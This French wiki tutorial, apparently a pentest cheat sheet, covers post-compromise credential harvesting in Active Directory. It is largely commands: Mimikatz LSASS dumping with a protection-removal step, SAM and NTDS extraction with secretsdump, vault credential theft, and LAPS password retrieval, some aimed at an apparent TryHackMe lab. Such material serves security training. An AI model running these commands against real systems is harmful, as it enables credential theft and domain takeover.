# [Exploitation/AD] Credentials Harvesting

## Introduction

Cette pratique a pour objectif de récupérer des identifiants qui pourront nous servir à élever nos privilèges ou pivoter sur d'autres machines du domaine.

Elle fait partie intégrante de la phase d'énumération post-compromission.

## Techniques

#### Mots de passe en clair

Voici les premiers éléments qu'un pirate va chercher pour trouver de nouveaux identifiants :

- Historique de commandes.
- Fichiers de configuration (Apps web, FTP etc).
- D'autres fichiers liés à des applications Windows (Navigateur internet, boîte mail).
- Fichiers de sauvegarde.
- Fichiers et dossiers partagés.
- Base de donnée.
- Gestionnaire de mots de passe.
- Base de registre.
- Code source d'application.
- Description de l'utilisateur dans l'AD.

#### Historique de commande Powershell

Toutes les commandes sont par défaut stockées dans le fichier suivant :

```
C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

#### Base de registre

Les commandes suivantes vont chercher le mot-clé **password** dans la base de registre :

```powershell
reg query HKLM /f password /t REG_SZ /s
```

```powershell
reg query HKCU /f password /t REG_SZ /s
```

####  Hashdump  


Le framework **Metasploit** vous permet de dumper la base **SAM** grâce à la commande hashdump depuis une session Meterpreter :

```
hashdump
```

#### Volume Shadow Copy  


Cette technique permet de copier les fichiers **sam** et **system** :

```powershell
wmic shadowcopy call create Volume='C:\'
```

Vous pouvez lister les volumes :

```powershell
vssadmin list shadows
```

Vous devriez pouvoir copier les fichiers voulus de cette manière :

```powershell
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
```

```powershell
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system
```

Vous pouvez utiliser l'outil secretsdump pour récupérer les hashs contenus dans la base SAM locale :

```bash
python3.9 /opt/impacket/examples/secretsdump.py -sam /tmp/sam-reg -system /tmp/system-reg LOCAL
```

#### Dump LSASS

Le gestionnaire des tâches de Windows permet par défaut de dump la mémoire d'un processus.

Pour cela, il vous suffit de vous rendre dans l'onglet **Détails** et de faire clic droit sur le processus **LSASS** et de cliquer sur **Créer un fichier de collecte** :

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/scaled-1680-/QKiimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/QKiimage.png)

Ensuite, vous pourrez analyser ce fichier avec l'outil **procdump** de la suite **SysInternal** :

```powershell
procdump.exe -accepteula -ma lsass.exe lsass_dump
```

Sinon on peut le faire avec **Mimikatz** :

```
privilege::debug
```

```
sekurlsa::logonpasswords
```

Si vous obtenez l'erreur **0x00000005** c'est que la protection LSASS est activée.

Pour contourner cette protection, vous devez charger le driver mimidrv.sys grâce à la commande suivante dans Mimikatz :

```
!+
```

Ensuite, désactivez la protection :

```
!processprotect /process:lsass.exe /remove
```

Vous devriez être en capacité d'exécuter la commande :

```
sekurlsa::logonpasswords
```

#### Gestionnaire d'informations d'identification

Le gestionnaire d'identifiant sur Windows peut être retrouvé en se rendant dans :

**Panneau de configuration &gt; Compte Utilisateur &gt; Gestionnaire d'informations d'identification**

Par chance, vous pouvez aussi le gérer depuis le shell grâce à la commande **vaultcmd**.

Par exemple vous pouvez lister les entrées des coffres :

```powershell
vaultcmd /list
```

<p class="callout info">Par défaut, il existe **2 coffres** : celui des identifiants **Web** et ceux de **Windows**.</p>

Pour afficher les propriétés du coffre des identifiants Web :

```powershell
VaultCmd /listproperties:"Web Credentials"
```

Et pour afficher les informations d'identificaiton :

```powershell
VaultCmd /listcreds:"Web Credentials"
```

<p class="callout warning">Windows ne permet pas d'afficher les mots de passe.</p>

La solution est d'utiliser un script Powershell ([Get-WebCredentials.ps1](https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1)) qui permet de le faire :

```powershell
powershell -ex bypass
```

```
Import-Module C:\Tools\Get-WebCredentials.ps1
Get-WebCredentials
```

La commande **cmdkey** permet d'afficher les informations d'identification du coffre **Windows** :

```powershell
cmdkey /list
```

L'intérêt de ce coffre est de pouvoir utiliser des identifiants qui ne sont pas les notre pour utiliser des applications.

Par exemple on peut utiliser **runas** avec pour lancer un shell :

```powershell
runas /savecred /user:<DN>\<USER> cmd.exe
```

Vous pouvez aussi utiliser Mimikatz pour dumper le contenu des coffres :

```
privilege::debug
```

```
sekurlsa::credman
```

#### Dump NTDS

Si vous parvenez à récupérer un accès administrateur sur un contrôleur de domaine mais que vous n'avez pas d'identifiants, vous pouvez essayer récupérer la base NTDS avec la commande suivante :

```powershell
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
```

Normalement les fichier **ntds.dit**, **SECURITY** et **SYSTEM** devraient être stockées dans le dossier **c:/temp**.

Transférez-les sur votre machine et utilisez **secretsdump** de la suite impacket pour récupérer les hashs :

```bash
python3.9 /opt/impacket/examples/secretsdump.py -just-dc-ntlm -security path/to/SECURITY -system path/to/SYSTEM -ntds path/to/ntds.dit local
```

Si vous possédez les identifiants d'un compte administrateur, vous pouvez effectuer ces opérations à distance avec **secretsdump** :

```bash
python3.9 /opt/impacket/examples/secretsdump.py -just-dc-ntlm THM.red/<AD_Admin_User>@10.10.159.6 
```

#### LAPS

Si LAPS est activé sur le poste compromis, vous pouvez récupérer le mot de passe en clair d'un utilisateur qui s'est connecté dessus.

Tout d'abord, on peut vérifier si LAPS est activé de la manière suivante :

```powershell
dir "C:\Program Files\LAPS\CSE"
```

Ensuite on peut chercher dans une OU spécifique, les objets qui ont LAPS activés :

```powershell
Find-AdmPwdExtendedRights -Identity <OU_NAME>
```

Admettons que le groupe **IT** ait été identifié par la commande précédente, on peut lister ses utilisateurs que nous prendrons pour cible :

```powershell
net groups "IT"
```

Ensuite trouvez un moyen pour vous connecter sur la session de l'utilisateur que vous souhaitez compromettre et lancez la commande suivante pour récupérer son mot de passe :

```powershell
Get-AdmPwdPassword -ComputerName creds-harvestin
```

<p class="callout info">Certains outils comme [LAPSToolKit](https://wiki.neopipe.fr/Get-AdmPwdPassword%20-ComputerName%20creds-harvestin) peuvent vous aider pour l'énumération LAPS.</p>